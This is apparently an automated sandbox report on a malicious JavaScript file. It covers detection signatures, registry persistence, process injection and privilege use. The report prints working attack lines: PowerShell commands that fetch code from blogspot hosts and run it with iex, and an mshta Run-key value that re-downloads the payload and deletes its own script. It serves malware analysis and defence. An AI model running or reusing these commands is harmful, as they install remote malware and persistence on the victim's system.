Analysis
- max time kernel
135s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
07/05/2024, 01:39
Static task
static1
Behavioral task
behavioral1
Sample
b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
Resource
win7-20240221-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
Resource
win10v2004-20240419-en
18 signatures
150 seconds
General
- Target b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
- Size 1.8MB
- Sample240507-b2x14aff24
- SHA256 b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8
- MD5 fffee7bcbf8f724b68d02ebe0c5a133b
- SHA1 739696c36214a1a37f382b4da835ba44d2665027
- SHA512 3f2bd2aa6b5cb22aa0c2042fa3af032c83b55f7e5407344cdb502abaf33b3e42d2e0073540226e6a8f3e09f3495ddbc339bfa29a38e420f11583632aa55fe8f4
- SSDEEP 768:cNWDuYelMVBbnPOgADSb8O/b64/jWsYOS+Hu8N0RNta7SuHiHwdcU6AH6xgO:JewBbnPOgnh/6OSAuNA6H9AH83
- MD5 SHA1 SHA512 SSDEEP
Score
9/10
Malware Config
Signatures
- Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
resource yara_rule behavioral2/memory/3064-28-0x0000000000510000-0x0000000000596000-memory.dmp INDICATOR_EXE_Packed_GEN01 - Detects executables packed with Agile.NET / CliSecure 2 IoCs
resource yara_rule behavioral2/memory/928-16-0x0000019000050000-0x000001900005E000-memory.dmp INDICATOR_EXE_Packed_AgileDotNet behavioral2/memory/3064-28-0x0000000000510000-0x0000000000596000-memory.dmp INDICATOR_EXE_Packed_AgileDotNet - Detects executables packed with ConfuserEx Mod 1 IoCs
resource yara_rule behavioral2/memory/928-16-0x0000019000050000-0x000001900005E000-memory.dmp INDICATOR_EXE_Packed_ConfuserEx - Blocklisted process makes network request 3 IoCs
flow pid Process 7 928 powershell.exe 8 928 powershell.exe 16 928 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation wscript.exe - Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral2/memory/3064-28-0x0000000000510000-0x0000000000596000-memory.dmp agile_net - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:hf=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe | iex);Start-Sleep -Seconds 5;','run']; nt=[hf[3],hf[0],hf[1],hf[2]]; new ActiveXObject(nt[2])[nt[0]](nt[3], 0, true);close();new ActiveXObject(nt[1]).DeleteFile(WScript.ScriptFullName);\"\n" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1" powershell.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 15 bitbucket.org 16 bitbucket.org - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 36 api.ipify.org 37 api.ipify.org 38 ip-api.com - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 928 set thread context of 3064 928 powershell.exe 98 PID 928 set thread context of 3572 928 powershell.exe 99 PID 928 set thread context of 1964 928 powershell.exe 100 PID 928 set thread context of 3812 928 powershell.exe 101 PID 928 set thread context of 868 928 powershell.exe 102 PID 928 set thread context of 2396 928 powershell.exe 103 - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe - Enumerates system info in registry 2 TTPs 8 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe - Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 3572 RegSvcs.exe 3572 RegSvcs.exe 3572 RegSvcs.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 928 powershell.exe Token: SeRestorePrivilege 4652 dw20.exe Token: SeBackupPrivilege 4652 dw20.exe Token: SeRestorePrivilege 4684 dw20.exe Token: SeBackupPrivilege 4684 dw20.exe Token: SeBackupPrivilege 4684 dw20.exe Token: SeBackupPrivilege 536 dw20.exe Token: SeBackupPrivilege 4684 dw20.exe Token: SeBackupPrivilege 536 dw20.exe Token: SeBackupPrivilege 4684 dw20.exe Token: SeBackupPrivilege 4360 dw20.exe Token: SeBackupPrivilege 4360 dw20.exe Token: SeBackupPrivilege 536 dw20.exe Token: SeDebugPrivilege 3064 RegSvcs.exe Token: SeDebugPrivilege 3572 RegSvcs.exe Token: SeBackupPrivilege 4652 dw20.exe Token: SeBackupPrivilege 4652 dw20.exe Token: SeIncreaseQuotaPrivilege 928 powershell.exe Token: SeSecurityPrivilege 928 powershell.exe Token: SeTakeOwnershipPrivilege 928 powershell.exe Token: SeLoadDriverPrivilege 928 powershell.exe Token: SeSystemProfilePrivilege 928 powershell.exe Token: SeSystemtimePrivilege 928 powershell.exe Token: SeProfSingleProcessPrivilege 928 powershell.exe Token: SeIncBasePriorityPrivilege 928 powershell.exe Token: SeCreatePagefilePrivilege 928 powershell.exe Token: SeBackupPrivilege 928 powershell.exe Token: SeRestorePrivilege 928 powershell.exe Token: SeShutdownPrivilege 928 powershell.exe Token: SeDebugPrivilege 928 powershell.exe Token: SeSystemEnvironmentPrivilege 928 powershell.exe Token: SeRemoteShutdownPrivilege 928 powershell.exe Token: SeUndockPrivilege 928 powershell.exe Token: SeManageVolumePrivilege 928 powershell.exe Token: 33 928 powershell.exe Token: 34 928 powershell.exe Token: 35 928 powershell.exe Token: 36 928 powershell.exe Token: SeIncreaseQuotaPrivilege 928 powershell.exe Token: SeSecurityPrivilege 928 powershell.exe Token: SeTakeOwnershipPrivilege 928 powershell.exe Token: SeLoadDriverPrivilege 928 powershell.exe Token: SeSystemProfilePrivilege 928 powershell.exe Token: SeSystemtimePrivilege 928 powershell.exe Token: SeProfSingleProcessPrivilege 928 powershell.exe Token: SeIncBasePriorityPrivilege 928 powershell.exe Token: SeCreatePagefilePrivilege 928 powershell.exe Token: SeBackupPrivilege 928 powershell.exe Token: SeRestorePrivilege 928 powershell.exe Token: SeShutdownPrivilege 928 powershell.exe Token: SeDebugPrivilege 928 powershell.exe Token: SeSystemEnvironmentPrivilege 928 powershell.exe Token: SeRemoteShutdownPrivilege 928 powershell.exe Token: SeUndockPrivilege 928 powershell.exe Token: SeManageVolumePrivilege 928 powershell.exe Token: 33 928 powershell.exe Token: 34 928 powershell.exe Token: 35 928 powershell.exe Token: 36 928 powershell.exe Token: SeIncreaseQuotaPrivilege 928 powershell.exe Token: SeSecurityPrivilege 928 powershell.exe Token: SeTakeOwnershipPrivilege 928 powershell.exe Token: SeLoadDriverPrivilege 928 powershell.exe Token: SeSystemProfilePrivilege 928 powershell.exe - Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 4552 wrote to memory of 928 4552 wscript.exe 83 PID 4552 wrote to memory of 928 4552 wscript.exe 83 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3064 928 powershell.exe 98 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 3572 928 powershell.exe 99 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 1964 928 powershell.exe 100 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 3812 928 powershell.exe 101 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 868 928 powershell.exe 102 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 928 wrote to memory of 2396 928 powershell.exe 103 PID 2396 wrote to memory of 4652 2396 Msbuild.exe 104 PID 2396 wrote to memory of 4652 2396 Msbuild.exe 104 PID 2396 wrote to memory of 4652 2396 Msbuild.exe 104 PID 3812 wrote to memory of 536 3812 RegSvcs.exe 105 PID 3812 wrote to memory of 536 3812 RegSvcs.exe 105 PID 3812 wrote to memory of 536 3812 RegSvcs.exe 105 PID 868 wrote to memory of 4684 868 Msbuild.exe 106 PID 868 wrote to memory of 4684 868 Msbuild.exe 106 PID 868 wrote to memory of 4684 868 Msbuild.exe 106 PID 1964 wrote to memory of 4360 1964 RegSvcs.exe 107 PID 1964 wrote to memory of 4360 1964 RegSvcs.exe 107 PID 1964 wrote to memory of 4360 1964 RegSvcs.exe 107
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3064
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3572
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7924⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4360
-
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7844⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:536
-
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7924⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4684
-
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7844⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4652
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xmlr4nwu.wcf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512